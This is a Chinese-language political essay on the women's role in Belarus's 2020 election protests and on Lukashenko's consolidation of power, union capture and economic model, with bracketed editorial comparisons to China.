同时，白俄罗斯女性似乎没有男性那么重男轻女的观点：IPM（2018）的研究表明，女性比男性更不同意 “男性是更好的政治领袖、董事和商人” 的观点。然而，在上次总统选举之前，这些问题处于辩论的边缘：多达70%的白俄罗斯人不知道 “性别不平等” 这个词的存在，也不理解它的含义。Pact 在2019年进行的同样研究表明，只有3.9%的男性和6.9%的女性承认曾亲身经历过性别不平等。

如此低的数字表明，性别问题在白俄罗斯没有被纳入主流。

政治真人秀

「图」

被许多人命名为 “女性革命” 的抗议活动，最初并不是这样计划的。革命的 ‘女性三人组’ 的所有女性在某种程度上代表了三位未登记的男性总统候选人：YouTube 博主谢尔盖·列昂尼多维奇·季哈诺夫斯基 (Siarhei Tsikhanouski)；Berlarus 高科技园区前负责人瓦列里·察普卡拉 (Valery Tsapkala)；以及 Belgazprombank 前负责人维克托·德米特里耶维奇·巴巴里科 (Viktar Babaryka)。那么，斯维特拉娜·季哈诺夫斯卡娅，一位在过去几年里一直在照顾孩子的家庭主妇，是如何成为五位候选人中唯一登记的 “希望之星” 的呢？

在她的丈夫被逮捕后，她在5月决定提交注册文件以收集签名，这是自发的。这是一个绝望和团结的行为。出乎意料的是，接下来的几周变成了一种政治 “真人秀”，成千上万来自不同社会背景的人排队表达他们对 “除卢卡申科之外的任何人” 的支持。白俄罗斯首都和各地区的情况都是如此。虽然人们并不总是知道她的名字或职业，但对季哈诺夫斯卡娅的大规模支持是显而易见的。尽管她的行动团队成员被逮捕，并受到匿名的个人威胁，但她还是成功收集到了所需的**10**万个签名，并被登记为总统候选人。这证明当局没有认识到她的潜力，并因受欢迎的男性人物被剥夺了登记权和/或被逮捕而感到心安。

据称，代表未登记的男性候选人的三名女性团队成员只用了15分钟就达成了统一战线，表明 “女性比男性更容易达成一致”。在她们的第一次新闻发布会上，她们谈论的不是她们的政治野心，而是社会的共同利益。她们竞选的要点包括释放政治犯、和在季哈诺夫斯卡娅可能获胜后组织自由和公平的选举。

她们竞选活动的标志 —— 一颗心（Babaryka）、一个拳头（Tsikhanouskaya）、和一个胜利的标志（Tsapkala）—— 走红网络，鼓舞了白俄罗斯和世界各地的女性权利倡导者。在她们的运动中，这三位女性通过传统价值观和女性领导力的结合来展示自己。斯维特拉娜·季哈诺夫斯卡娅主要关注家庭价值观。在她的演讲中，她总是提到她丈夫的被捕是她从事政治活动的主要原因。随着时间的推移，她不仅支持他的自由，而且支持所有白俄罗斯人的自由。她认为自己是一个软弱和 “平凡” 的女人，在选举前的三个星期的集会中与成千上万的人见面后，她变得更加坚强。作为一名登记在册的候选人，她承认对继续自己的政治生涯不感兴趣，即使她当选了。当她被

迫离开白俄罗斯并成为国际知名的反对派人物时，她的观点在选举后并没有多大改变。

玛丽亚·科列斯尼科娃看起来与季哈诺夫斯卡娅相反。她把自己看作是一个自由的全球公民，并在采访中谈到了女权主义。她在艺术领域取得了成功，在选举前曾担任音乐家和艺术总监。她出生在白俄罗斯，在德国和其他欧洲国家生活和工作了很长时间。她在成为 Babaryka 团队的一员时变得引人注目。她的授权和同情的信息（“我们是合法的！”，“白俄罗斯人，你们是不可思议的！”）传到了更广泛的公众。在三位女性中，她是唯一在选举后留在白俄罗斯的人，甚至在维稳部门试图将她驱逐出白俄罗斯时撕毁了她的护照，这导致她被捕。

维拉尼卡·察普卡拉是季哈诺夫斯卡娅和科列斯尼科娃的结合体：一个为微软工作的自信的成功经理人，一个充满爱的妻子和母亲。在她们的第一次新闻发布会上，她明确表示，白俄罗斯的宪法也是为妇女写的（与卢卡申科相反），白俄罗斯的女性与男子平等。同时，她支持作为母亲和妻子的季哈诺夫斯卡娅 —— 这就是 “妇女团结” 对她的意义所在。最后，她在采访中强调，“我们家只有一个政治家，那就是我丈夫”。尽管她是一个优秀的公共演讲者，但她还是说了这些话。选举结束后，当她与丈夫和孩子们在国外团聚时，她以妻子的身份陪同丈夫参加政治会议，尽管她是为民众起义做出贡献的人之一。

变革的最后希望

「图」

在选举日之前，这三位女性只有三个星期的时间接触选民。她们以前所未有的方式，顶着巨大的时间压力，在白俄罗斯和国外都变得非常受欢迎。白俄罗斯没有任何总统候选人受到过如此多的国际关注。

三个女人对抗独裁者的故事被证明是一个完美的政治战略。在竞选期间，她们在三周内访问了13个城市，吸引了多达5%的当地人参加她们在各地区的集会。这对于传统上被动的白俄罗斯选民来说是非常了不起的。她们被当作摇滚明星那般对待。

这一切是如何做到的？如果说候选人是女性这一事实是动员公众的唯一原因，那是肯定不正确的。白俄罗斯人在选举前就已经政治化了。经济停滞不前，国家对大流行病的反应不足，以及对26年来的同一张脸的厌倦，使人们变得激进并联合起来反对卢卡申科。从这个意义上说，公众变成了一个抗议的选民群体，准备投票给任何反对现任总统的强势人物。

然而，出乎意料的女性因素使竞选活动变得非常新鲜、感性和有力量。这背后的原因是，首先，三位女性在最受欢迎的候选人被淘汰出局后没有放弃，从而给人们带来了“改变的最后希望”。她们的竞选活动非常感性。她们是真实的，她们讲述了个人的故事，她们谈到了爱，要求人们相信自己。结果，反对派的传统口号“我们相信—— 我们能—— 我们会赢”变成了一个女性版本：“我们爱—— 我们能—— 我们会赢”。

第二，她们动员人们观察选举和参与选举。这样做的结果是，在选举日，投票站外出现了大量排队，成千上万的人被剥夺了观察计票的权利。因此，选举欺诈成为一个普遍的问题。此外，50万白俄罗斯人将他们的选票照片发送到一个新开发的在线平台上，这使得识别造假更加容易。甚至他们向选举委员会成员发出的“自觉呼吁”也在大约100个投票站发挥作用：在那里计票，显示季哈诺夫斯卡娅的协议被公开（这样的事情以前在白俄罗斯从未发生过）。

公平地说，这两种策略（移情和动员）最初都来自 Babaryka 的团队。心形是他竞选的标志。民意调查显示，白俄罗斯人不相信他们的行动会带来任何改变。**Babaryka** 的团队解决了这个问题，并将叙述从“当局是坏的”改为“人民是好的”。在他被捕后，科列斯尼科娃接力，以进一步推动这一信息。

最后，女性候选人的演讲中传统和女权主义价值观的结合，似乎对她们在广大公众中的受欢迎程度起到了关键的作用。科列斯尼科娃和察普卡拉的女权主义和赋权信息得到了女权追随者的钦佩，而以羞涩和爱为标志的季哈诺夫斯卡娅则是白俄罗斯社会传统部分的完美原型，这一点很重要。根据IPM研究（2018年），对绝大多数白俄罗斯人来说，没有什么比母亲（84.8%）和父亲（77.4%）更重要的了。季哈诺夫斯卡娅不想长期执政的事实直接说服了那些仍未准备好投票给家庭主妇的选民。他们的比例可能相当大—— 甚至当地知名的男性专家对女性三人组的反应也很轻蔑。“三个漂亮女人能做什么？”、“现在竞选的政治部分已经结束了”—— 仅举几个第一反应的例子。

大众对成为“政治灰姑娘”的季哈诺夫斯卡娅的信任是无与伦比的。人们出于团结、同情和对她的勇气的钦佩而支持她。独立选举观察员的报告显示，她甚至可能获得多数票。对许多选民来说，支持她意味着支持新的公平选举。尽管她说自己没有政治野心，但她已经变成了一个极其重要的政治行为者。

抗议活动中的女性面孔

「图」

第二波女性活动在选举后两天开始，或在抗议选举舞弊的第四天开始。镇压的规模是令人震惊的。警察对抗议者使用了眩晕榴弹和橡皮子弹。第一批死亡者和数百名受伤或遭受酷刑的人的信息很快传遍了公众。

如果您错过了《警用武器常见伤害及基本处理方法：示威参与者指南（6）》

与警察的冲突主要发生在晚上或夜间。8月12日和13日，几百名妇女在明斯克建立了声援链，以抗议警察的暴力行为。第一组人身穿白衣，手持鲜花，第二组人身穿白衣，赤脚，唱着白俄罗斯的摇篮曲 'Kalyhanka'。几小时内，关于这些 '白衣女人链' 的报道传遍全国，其他城市也加入了其中。

这些行动的主要原因是防暴警察实施的非人道暴力—— 女性们想表明这 *并不是* "白俄罗斯式" 的转变方式。非暴力的信息与国家电视台关于与所谓的 "恐怖分子" 夜战的报道形成鲜明对比。

抗议活动的另一个目的是使其吸引大量的人，特别是女性。白天组织起来的声援链被认为是比夜间与警察对抗更安全的公民行动。男人们也加入了这些反抗链条，随后是其他社会和职业群体的声援链条和集会：医生、学生和老人。这些新形式的非暴力抗议活动因此找到了肥沃的土壤。

通过这些抗议链，女性们也想表达她们对夜间抗议者的声援。最后，许多人呼吁释放政治犯，起诉那些对选举欺诈和暴力负有责任的人，以及进行新的选举。

有趣的是，明斯克的第一批倡议并没有一个政治中心。妇女们是通过自己的联系人和社交网络（尤其是 **Telegram-chats**）组织起来的。她们与其他团体没有联系，但令人惊讶的是，他们有一个共同的类似抗议想法，用白色作为象征。类似的行动，后来在全国范围内组织起来，是草根的、自发的和分散化的。他们往往是跳出传统框框的思考。最早的女性行动之一是由一个没有任何政治经验的活动管理者构思和组织的。

和平的女性 "白色抗议" 具有一些非常重要的功能：它们强调了抗议者的非暴力性质，因此保留了人们的抗议动机（选举后的集会最初是和平的，但当女性站出来时，就变得更加明显）；它们使更广泛的社

会群体能够参与抗议；它们引入了新的抗议形式；它们使运动在白俄罗斯和国外高度可见；它们帮助在一段时间内阻止了警察的暴力；它们分散了运动；当然，它们为选举活动中的女性层面增加了新动力。

因此，妇女不仅为女性政治家领导人，而且开始为政治目的自我组织。随着时间的推移，她们甚至发现了新的女性英雄，如73岁的Nina Bahinskaya，她因自己亲自抗议卢卡申科而闻名，她已经做了20多年反抗者。*Popposition activist, public figure, and geologist Nina Bahinskaya. Photo by Jana Nizovtseva, CC0, via Wikimedia Commons*

毫无疑问，“白色抗议” 为抗议运动增加了一个全新的层面，它产生了独立的白俄罗斯历史上最大的政治集会。这些集会从8月16日开始，继续在每个星期天举行。此外，在8月29日至9月26日期间，每个星期六都组织了女性的游行。此后，女性抗议者改变了策略，以避免大规模的拘留，因为这种情况越来越普遍。

如果您错过了《充分利用大规模逮捕：示威参与者指南（7）》

在明斯克举行的五次大型周六女性游行，有多达1万名各年龄段的参与者，其信息非常多样化。白色和鲜花有助于建立一个无辜的、脆弱的和充满爱的女性形象，这很符合白俄罗斯社会对妇女的传统看法。许多女性走上街头，保护她们的丈夫和孩子，这在她们的横幅和海报上得到了表达。这种女性气质已经成为一种新的女性 “软实力”。考虑一下将季哈诺夫斯卡娅描绘成 “祖国”（俄语 **Rodina Mat**）的海报，它基于第二次世界大战期间用于动员苏联人民的形象。在今年的抗议活动中，女性实际上是在警察面前保护男人。

同时，许多海报信息是对总统的性别歧视言论的创造性和幽默的反应，强调女性是政治主体：“像（白俄罗斯）女孩一样战斗”；“父权制，你完蛋了”；“我不害怕—— 我正在分娩”；“为女人让路”；“白俄罗斯是女性的，我为女人投票”，“萨沙，不就是不”、和 “你心爱的人不想要你”（最后两条是对卢卡申科所说的 “白俄罗斯是一个心爱的人，你不要把你心爱的人给任何人” 的言论的反应）。

幽默、开放和积极的态度是这些游行的一些最重要的特点。参与者试图与警察开始对话，对他们微笑，给他们献花，唱歌和跳舞。人们自发地改变了集会的路线，或者在警察接近抗议队伍时大声尖叫。人们对警察不会使用暴力有一定的信心，或者说是希望。当然，殴打妇女会引起社会的负面反应。这种逻辑似乎占据了几周内的上风，直到当局意识到这些女性已经成为一种政治力量。

【注：这是一项行动技巧，近似的原理见：《让你的对手陷入愚蠢滑稽：充气”武力”和反叛小丑军》】

最后一根稻草

「图」

长期以来，女性一直是卢卡申科的核心选民。然而，在执政多年后，他已经失去了政治直觉和个人魅力。2020年的选举年，政府方面并不是对女性最友好的。卢卡申科在冠状病毒大流行的第一波中表现出傲慢和缺乏同情心，这导致女性对其家人的健康和生命感到担忧。女性雇员在卫生和教育部门占主导地位，这些部门受到的冲击最大。选举后发生的残酷镇压被证明是最后一根稻草。

卢卡申科完全低估了女性和她们的力量，这样做无意中促进了白俄罗斯女权主义的发展 —— 就像他促进了反对他的白俄罗斯人的团结。对很大一部分白俄罗斯公众来说，父权制的价值观似乎已经过时了。“萨沙，性别歧视毁了你”—— 这是在一次集会上写在一个女性举着的标语牌上的句子。

白俄罗斯的政治危机仍在持续。很难对它将如何发展做出任何长期预测。然而，很明显的是，白俄罗斯女性的角色已经出现了一个质的变化。在**2020**年夏季之前，女权主义和政治参与似乎与女性气质不相容**——** 而现在，妇女的政治参与正在成为一种时尚。

“白俄罗斯女性在没有任何女权主义理论背景知识的情况下，重新探索自己和自己的力量”，第一女性反抗链的参与者之一说。

与政治和社会中的女性有关的陈规定型观念和陈词滥调正在被克服。这个过程将在未来几年内发展。在国际上，已经达到了这样一个阶段：“白俄罗斯妇女” 的第一个形象不再是一个有吸引力或性感的女性，而是一个勇敢和负责任的公民。2020 年 8 月在明斯克举行的反对派集会（Valery Sharifulin\TASS via Getty Images）

Part III：愤怒的季节

「图」

去年8月，亚历山大·卢卡申科在白俄罗斯的总统选举中战胜了斯维特拉娜·季哈诺夫斯卡娅，获得了自1994年上任以来的第六个连续任期。白俄罗斯中央选举委员会称，他赢得了 “超过80%的选票“。虽然

国际监督员发现自1994年以来该国的每一次总统选举都存在违规和违法行为，但2020年的选举结果激起了前所未有的街头示威活动。

卢卡申科以暴力作为回应，部署了白俄罗斯的特别警察OMON来对付抗议者。镇压只是加剧了人民和总统之间的斗争。数十万人在首都明斯克以及各省进行示威。主要工业企业进行了罢工。抗议浪潮持续了几个月，赢得了来自全世界的钦佩。

随着冬天的到来，运动的大部分势头消失了，抗议者面临着野蛮的镇压浪潮，包括警察的杀戮和严厉的判决、或因最小的抗议行为而失去工作。今天，少数积极分子仍在国内和国外继续进行斗争，但大规模的抗议活动已不再发生。卢卡申科已经宣布战胜了他所谓的 “闪电战”。

2月11日，在全白俄罗斯人民大会上，即每五年举行一次的忠实代表的大规模集会上，卢卡申科和他目前的执政团队重申了支撑其统治主张的基本主题。总理罗曼·戈洛夫琴科警告说，“以自由主义为榜样改革白俄罗斯经济” 的建议导致了 “许多国家的经济崩溃和违约”。这就是卢卡申科对合法性的主张：他是白俄罗斯国有工业企业员工与大规模失业之间的唯一力量。

白俄罗斯几乎没有世界银行规定的每人每天5.5美元的贫困线，在后共产主义国家中，只有斯洛文尼亚和捷克共和国符合这一条件。苏联的教育遗产在很大程度上被保留了下来，这为白俄罗斯具有高度竞争力的IT部门奠定了基础。国有企业比私营部门更不容易裁员，雇用了大约40%的劳动力。

然而，2020年的示威活动不仅表达了对专制政府的反对，还表达了非常深刻的社会愤怒。在抗议者中，有来自那些大型国有企业的产业工人，他们和私营部门的工人一样，面临着来自国家管理人员、官僚和国内外商人的剥削和压制。8月9日伪造的选举所涉及的欺骗程度侮辱了他们的智商。

卢卡申科和他的效忠者重复的老话—— 他们 “保护福利国家和工作安全” —— 到那时已经失去了宣传的力量，即使它仍然有一部分是真的。虽然白俄罗斯避开了比邻近的后苏联国家更多的新自由主义路线，但在过去的三十年里，它也产生了自己的对立情绪。通过关注白俄罗斯模式的独特之处，我们可以更好地理解今天反对卢卡申科政府的来源。

如果您错过了《新自由主义的香港向世界讲述了一个什么样的故

事？》

中欧和东欧的资本主义在1989年后的发展得到了两个精英社会群体的支持：赞成新自由主义方案的知识分子和旧共产党的更多企业家骨干，他们希望成为一个真正存在的资本主义阶级。白俄罗斯的后苏维埃早期发展是由这后一个群体主导的。当独立的白俄罗斯共和国在1991年取代白俄罗斯苏维埃社会主义共和国时，领导层几乎没有更替。虽然共产党的正式结构被禁止，但行政和管理干部仍然保持不变，总理维亚切斯拉夫·克比奇是其掌舵人。唯一的重大变化是任命物理学教授斯坦尼斯拉夫·舒什克维奇为议会发言人—— 此举旨在安抚明斯克的知识分子。

20世纪90年代初，白俄罗斯的社会经济发展几乎完全是由一个逐步的贵族化进程所推动的，其中带有浓厚的苏联残余形式的色彩。实施大规模私有化的动机不大，因为这有可能导致外部参与者失去暴利的机会。一些私有化确实发生了，国有资产的出租也是如此。白俄罗斯甚至有一个具有一定意义的寡头，即亚历山大·普佩科（Aleksandr Pupeiko），在其他商业活动中，他出售飞利浦产品，并拥有一家斯柯达装配厂。然而，所有权结构仍然是严重的公共性。

白俄罗斯的战后工业化形成了一个大型的机器制造部门，以及重要的燃料精炼、食品加工和无线电电子部门。在苏维埃政权的晚期，白俄罗斯已经享有大量的地区自治权，领导层希望白俄罗斯作为苏联最终装配制造业中心的遗产能够证明其在对外贸易中的优势。白俄罗斯通过补贴、继续实行国家订单制度以及将军事生产转为民用生产来维持其制造业。

这并不意味着向民族资本主义经济的过渡进行得很顺利。除了钾盐开采，白俄罗斯没有重要的采掘业，所以它依赖于进口。1993年卢布区的崩溃极大地扰乱了生产，导致出口市场和国外投入的损失，随之而来的是消费和投资的巨大减少。国际劳工组织（ILO）估计1994年的失业水平为12.8%。

20世纪90年代初，白俄罗斯议会被忠于总理克比奇的人所控制。三分之一的白俄罗斯议员的职业是工业或农业管理人员，他们赞成在经济上与俄罗斯重新融合。反对派则由自由主义和民族主义势力主宰。民族主义者属于白俄罗斯人民阵线（BNF），由其创始人济亚诺·帕兹尼亚克领导，他是一位考古学家，曾在明斯克郊外的库拉帕蒂森林中发现了斯大林恐怖时期的万人坑。面向西方的自由主义者被集中在议会议长舒什克维奇周围。尽管克比奇从未被选上过这个位置，但议会中的权力平衡却严重向他的阵营倾斜，而帕兹尼亚克的国民阵线和舒什

克维奇的自由派则经常相互争吵。

在这种不稳定和政治不确定的情况下，来自东部莫吉廖夫地区的议员卢卡申科走了进来。作为一个农业企业的主管，他被誉为戈尔巴乔夫团队试图推动的“利润敏感”和“市场导向”的管理者之一。在苏联的最后几年，卢卡申科成为成千上万的地方叶利钦之一，他们都试图利用反体制的情绪来达到自己的目的。在白俄罗斯最高苏维埃，他是共产党人民主党的成员，一个试图在强硬的苏联爱国者和以知识分子为基础的反对派之间周旋的“中间派”团体。

卢卡申科察觉到人们对已解体的苏联的强烈渴望，以及讲俄语的大多数人对新的白俄罗斯身份的疏远，他成为恢复与俄罗斯政治和经济统一的狂热倡导者。不过，他还是避免了对任何具体方案的承诺，而是更倾向于一种模糊的反寡头和反名族的民粹主义。

1993年，卢卡申科得到了他在全国范围内最重要的推动力：担任议会反腐委员会主席。面对日益恶化的经济形势和国际货币基金组织支持的私有化计划的开始，他对前共产党员和反对派的腐败行为的谴责引起了人们的共鸣。在亲克比奇的议员们的推动下，他最大的政变是对舒什克维奇的揭露，据称他挪用公共资金建造了一座别墅。议长被迫辞职。

卢卡申科吸引了一批雄心勃勃的政治家，他们被称为“年轻的狼”，他们从卢卡申科不断上升的人气中看到了对自己事业的潜在推动。其中一些人是自由主义者，如 维克多·冈察尔，他们认为卢卡申科会打破旧有的权力机构，扮演白俄罗斯叶利钦的角色。明斯克的商人和专业人士与农村、省内的群众一样，对这个来自东部农村的穆奇克感到迷恋。（muzhik指俄罗斯农民）

1994年3月，一部新的宪法被通过，将白俄罗斯变成了一个总统制共和国。克比奇确信他将赢得第一次总统选举，整个机构都支持他，而反对派则分裂。但在第一轮选举中，卢卡申科赢得了46%的选票，而克比奇仅获得18%的选票。在第二轮选举中，卢卡申科赢得了81%的选票，而克比奇只赢得了14%。

在任期间，卢卡申科推行了一种文化政治，与刚刚结束的苏维埃时期的白俄罗斯新民族身份相对立。1995年5月的全民公决积极肯定了恢复俄语作为第二官方语言的做法，并批准了仿照白俄罗斯苏维埃旗帜（没有锤子和镰刀）的新旗。全民公决还赋予总统解散议会的权利。卢卡申科开始将权力集中在自己手中。第二年，他又提出了另一项公投，赋予他任命一半议会和宪法法院的权利。投票结果再次有利于卢

卡申科，尽管这次有很多投票违规行为。不久之后，他解散了议会，并成立了一个顺从的机构来取代它。

卢卡申科为超级总统制的政治体系奠定了基础。除了他的任命权，他还可以直接否决立法，预算完全由他决定。在国家等级制度中，一个大大扩展的总统行政机构高于老的部长会议。大规模的地区长官改组发生了；他们经常被重新分配，以打破长期存在的名族网络。同时，卢卡申科发起了一系列审判，针对政治对手和克比奇时代的权势人物，以及他自己的一些老伙伴。他还在一个由阿富汗战争老兵维克多·谢曼（Viktor Sheiman）领导的新的国家安全委员会的领导下对安全部门和军队进行控制。这位前伞兵开始清除克格勃的旧部，用忠于卢卡申科的人取代他们，据称他是包括冈察在内的几个离开卢卡申科阵营的反对派人物被强迫失踪的幕后黑手。

【注：对比中国的反腐运动。】

卢卡申科巩固权力的一个更经常被忽视的部分是对白俄罗斯工会的收编。在苏联解体之前，为回应苏联总理瓦连京·帕夫洛夫（Valentin Pavlov）在1991年4月的涨价行为而举行的罢工和罢市浪潮为共和国政府赢得了巨大的让步。白俄罗斯国土面积小，工业企业集中在明斯克，单一雇主的城镇在各省占主导地位，这些都有助于形成劳工行动可以产生决定性影响的局面。而且，由于1991年后，相对较高的工业份额仍然是公共的，白俄罗斯人还没有看到俄罗斯和乌克兰经历的那种去工业化。随着经济在这十年后半期的复苏，失业率开始下降，工会开始在企业层面上赢得大量工资增长。

由于苏联的权力网络在克比奇领导下继续存在，由弗拉基米尔·冈察里克领导的白俄罗斯工会联合会（FPB）与工业管理部门有着友好的关系，尽管与苏联时期的前身组织相比，它的自主权相对更大。然而，在FPB结构内有更多激进的分支工会，而且自改革以来，FPB之外也有一些更接近自由主义和民族主义阵营的工会，以波兰的团结工会运动为模式。1995年，在白俄罗斯自由工会的领导下，明斯克公共交通工人爆发了罢工。卢卡申科严厉地镇压罢工者，派特种部队追捕他们，逮捕他们的领导人，并签署法令取消了工会的注册资格。

冈察里克也开始追求独立于政府的路线，尽管这与激进主义关系不大，更多的是为了维护组织的自主权而采取的官僚主义做法。在2001年的总统选举中，他将作为主要反对派候选人参选。他没有作为劳工候选人参选 —— 工会被排挤在外，具体的社会要求在很大程度上被压制，转而对卢卡申科进行人身攻击 —— 而是被美国毫不掩饰地推入竞选行列，试图挑起一年前在塞尔维亚发生的事，当时斯洛博丹·米

洛舍维奇总统在有争议的选举结果中被推翻。美国为冈察里克的竞选活动和一个抗议团体花费了5000万美元。官方称，卢卡申科赢得了77%的选票，冈察里克赢得了16%的选票。虽然胜利的幅度不可信，但可以肯定的是，卢卡申科击败了他的对手，而且在明斯克没有出现像贝尔格莱德那样的大规模抗议活动。

冈察里克被击败后，卢卡申科开始着手控制人民阵线。选举前，卢卡申科停止了全国劳动和社会问题委员会的会议，该委员会是管理层、工会和政府之间的协商机构，暂时剥夺了其传统的企业主义角色。

选举结束后，伴随着一连串攻击工会官僚的宣传，一项总统令阻止了自动支付会费。卢卡申科同时在人民阵线内部建立了自己的忠诚派，并指示经理和地区当局建立忠于总统的平行工会，并向工人施压让他们加入。

这一连串的攻击促使FPB的执行委员会试图通过迫使冈察里克辞职来安抚总统。但这对卢卡申科来说是不够的。2002年7月，总统府副部长列昂尼德·科兹克（Leonid Kozik）被选为人民阵线主席。随后，人民阵线的中央机关和分工会内部出现了解雇和被迫辞职的情况。当局利用暴力镇压和骚扰的混合手段，在很大程度上成功地消解了人民阵线结构以外的所有工会。

【注：对比北京政权对工会的收编和打压。如果您错过了《中共的大迂回：一个国家的诞生》】

对卢卡申科来说，夺取FPB是很重要的，因为国有工业在白俄罗斯社会中继续处于核心地位；高度的公有制使工作场所的纠纷和罢工具有政治敏感性，而且在增值和就业方面，白俄罗斯的国有企业不仅超过了其他中欧和东欧国家，甚至超过了中国。

白俄罗斯是一个“苏联式”经济的刻板印象，经常被认为与卢卡申科本人有关，他曾是一名国有农场的主管。但是，虽然卢卡申科没有像该地区的其他领导人和政府一样，用大锤子砸开苏联的国家社会主义，但他一直在逐步削除它。

在他执政的第一年半时间里，这位新总统和他的政府继续执行1993年开始的由国际货币基金组织支持的经济路线，可以说比以前更有活力。然后，在1996年，卢卡申科改变了方向，部分原因是他转向了老克比奇工业机构的成员，以破坏他以前在政府中的自由主义支持者。更重要的是，卢卡申科完成了与俄罗斯的经济融合，从1995年1月的海关协议开始，到1999年“联盟国”的形成，达到了高潮。这一目标

曾让克比奇望尘莫及，可以说是让他失去了总统职位的原因。

工业贵族成员利用他们与苏联时代的联系，恢复了俄罗斯机械市场的旧有供应链。那个时代的主要工厂，如明斯克汽车厂和明斯克拖拉机厂仍在运营，政府领导层重新引入了财政补贴、廉价信贷，甚至行政产出目标，以最大限度地扩大出口。再加上低于市场价的俄罗斯石油和天然气价格的补贴，这就是“白俄罗斯经济奇迹”的基础，它在2008年危机之前一直保持着高增长率。

白俄罗斯的工业政策，特别是在2000年之后，还涉及到扩大燃料出口。大型炼油厂在1970年代就已建成，但炼油部门对工业增长的贡献从1990年代末的8%上升到大衰退前夕的20%。另一个重要的发展是先进技术部门的增长，它建立在高水平的教育和前苏联研发综合体的基础上，这些研发综合体隶属于军事导向型产业。在国家支持和与白俄罗斯大学的联系的帮助下，私营和公共的小公司专门从事医疗和光学机械设备以及辐射控制等利基市场。到2019年，IT行业占全国GDP的6.2%。

尽管自1990年以来，农业在总就业人数中的比例有所下降，但白俄罗斯国家也对农业进行了慷慨的补贴。大多数农业用地是国有的，集体农场仍然是农业企业的主要形式。国内生产者受到高度保护，不受外国竞争的影响；杂货店被要求有一定的最低库存来自白俄罗斯农场。白俄罗斯产品在其总库存中的有效份额在45%至65%之间。这些民族主义措施吸引了农村群众，其中许多人是卢卡申科的狂热支持者，但寻找工作的乡村青年正逐渐离开，前往首都明斯克或出国去了俄罗斯。

【注：对比中国的农民工阶层/流民大军。】

在过去的十年里，白俄罗斯面临着大量的经济问题，其中许多问题与它的高度开放性有关。出口和进口均占其国内生产总值的70%左右，这使得经济极易受到贸易冲击的影响。2009、2011和2014年的货币危机都导致了痛苦的贬值。大量的外债积累也造成了不安全因素。由于在出口市场和投入方面对俄罗斯的依赖，这些问题被放大了。在这两方面，白俄罗斯都看到自己在被挤压。它面临着来自机械市场上更高质量产品的竞争，而弗拉基米尔·普京经常试图提高石油和天然气的价格，导致了两国之间的激烈对峙。

尽管国营企业仍然很重要，但它们的运作已经发生了很大变化。苏联的国有企业应该是计划经济的下属单位。早在苏联解体之前，国家和企业之间的关系性质就已经发生了变化；前者在保留公司的正式所有

权的同时，有效地将全部产权转移给了后者。这一变化大大增加了企业可以从事的商业活动的范围。它还让管理者控制了资金流动。“红色董事会”形成了由商业子公司、有限责任公司和海外账户组成的网络，使他们能够通过转移资金来积累小笔财富，然后将其重新投资于房地产等其他“财富建设”活动。在白俄罗斯，这种积累形式在2000年后的燃料热潮中达到了顶峰，这与明斯克周围房地产开发的增加相吻合。

【注：对比中国的国企，以及房地产经济。】

1996年后，白俄罗斯的大规模私有化被停止，转而采用逐案处理的方式，将私有化的决定权集中在总统府。首选的非国有化方法不是彻底的私有化，而是公司化，这意味着国家一开始继续持有100%的股权。这种变化仍然很重要：它将企业转变为与正常企业无异的法律实体，导致控股公司激增，并允许通过股份形式的“管理奖金”和向卢卡申科的宫廷商人更大规模地转让部分所有权来推进更加离散的官僚主义私有化进程。

卢卡申科与许多私营企业的关系更为复杂。上台后，他实施了重新登记的措施，一些企业没能幸免。规章制度和国家检查受到企业主的反感。在意识形态上，政府和企业的*伪社会主义*言论之间存在着明显的鸿沟。尽管在卢卡申科执政初期有利益冲突，但企业界一直忠于总统，对反对派普遍持冷淡态度。商业领袖们更愿意远离麻烦，重视卢卡申科恢复的秩序感；与俄罗斯或乌克兰不同的是，避免了会使他们依赖一些寡头或黑手党的无法无天和腐败。此外，没有一头扎进新自由主义的决定对白俄罗斯的新资本家们来说也有一些好处。巨大的准入壁垒意味着没有外国公司的涌入，而这些外国公司会立即竞争并吞噬他们。这方面的结果最明显地体现在国内连锁店在私有化程度最高的部门 —— 零售业的开花结果。今天该国最大的雇主之一是白俄罗斯的连锁超市 Eurotorg。

【注：对比中国的“笼子里的”私营企业；真资本主义内涵和伪社会主义外壳；对外企的准入政策（含中国的GFW）；以及新自由主义在香港带来的反抗大爆发。】

白俄罗斯的重要品牌也受益于90年代末和21世纪初激励私营企业的政策。自由经济区 —— 第一个自由经济区于1996年在波兰边境的布列斯特建立—— 帮助刺激了国内出口导向型资本家阶层的发展。自2005年以来，为了私营企业的利益，法规被稳步减少。白俄罗斯在世界银行的经商便利度排名中从第108位上升到第49位，高于意大利、智利和墨西哥等国。IT行业也享受了慷慨的税收减免和经济特区实

惠，即明斯克的高新技术园区。这种国家支持的努力的最主要受益者是软件工程公司 EPAM Systems 和 Wargaming Group Limited，该公司是白俄罗斯最著名的出口网络游戏《坦克世界》的开发商。

【注：对比中国改开、“互联网＋”政策。】

在资本家阶级中，有一个内部精英团体，他们与总统有着密切的个人和财务关系，并在燃料贸易或军备等政治敏感行业中拥有商业利益。这些人物时好时坏，与卢卡申科的家人建立关系，投资于他所珍视的体育项目，并担任各种象征性的职务。他们受益于卢卡申科愿意将白俄罗斯国家庞大的资产组合中的一部分赠送给他的朋友，并颁发总统令以打开商业机会。

【注：对比中国官商的裙带关系。】

处于这一关系核心的机构是总统商业管理局（UDP）。UDP直接对卢卡申科负责，是一个庞大的商业帝国，涉及房地产、燃料贸易和酒店等领域。UDP的现任负责人是维克多·谢曼（Viktor Sheiman），他是总统的前安全主管，2008年被卢卡申科的儿子挤出了国家安全委员会，但现在又回到了人们的视野中。在担任安全主管期间，他是军火商弗拉基米尔·佩夫提耶夫（Vladimir Peftiev）在总统府内的主要靠山，而且据传他在不断发展的超市领域也有利益。作为UDP的负责人，谢曼监督了白俄罗斯当局已经成为专家的那种商业计划。一个复杂的公司网络，其中许多是由与卢卡申科和谢曼关系密切的商人正式拥有的，已经围绕着UDP发展起来，主要从事物流和燃料贸易。这些公司还参与了白俄罗斯核心圈子的一些更非法的商业活动，包括在非洲的稀有矿物投资和俄罗斯烟草的违禁品市场。

从一开始，很明显，卢卡申科并不是简单地以他所承担的民粹主义角色行事。在他执政的第一年，卢卡申科实施了严厉的紧缩计划，提高了房租、水电和食品的行政价格。20世纪90年代末，在一个高度通货膨胀的时期，消费者补贴大幅增加，但在21世纪初再次被大幅削减。卢卡申科的政治考虑维持了增加补贴的周期 —— 公共事业的 “完全成本回收” 一直是白俄罗斯政府公开宣布的目标，但紧随其后的是急剧的利率上涨。

